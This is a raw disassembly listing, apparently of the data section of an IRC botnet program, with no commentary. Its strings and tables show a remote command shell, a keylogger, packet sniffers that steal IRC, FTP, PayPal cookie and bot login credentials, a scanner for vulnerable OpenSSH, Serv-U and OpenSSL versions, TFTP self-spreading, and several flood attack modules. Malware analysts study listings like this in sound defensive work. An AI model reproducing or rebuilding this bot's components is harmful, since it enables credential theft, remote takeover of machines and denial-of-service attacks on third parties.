sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_433F88 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_433FCC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_434034 db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_43407C db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_4340BC db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_434100 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_43412C db 2Dh ; - ; DATA XREF: ___:00410981o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_434158 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_434194 db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h unk_4341C0 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4341EC dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_434388 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_4343BC db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_434404 db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_43442C db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_43446C db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_4344AC db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_4344EC dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 10h dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_434E5C dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_434E8C: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 4 dd offset off_435750 dd offset off_43574C dd offset off_435748 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) db 3Ah db 7Eh, 61h, 75h ; DATA XREF: ___:off_43574Co dd 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EE4o align 4 off_435748 dd offset word_505446 ; DATA XREF: ___:00434EE0o off_43574C dd offset byte_435249 ; DATA XREF: ___:00434EDCo off_435750 dd offset word_544F42 ; DATA XREF: ___:00434ED8o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_4359C4 db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359FC db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_435A34 db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A68 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A9C db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435AD0 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h unk_435B00 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_435B54 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_435D7C dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 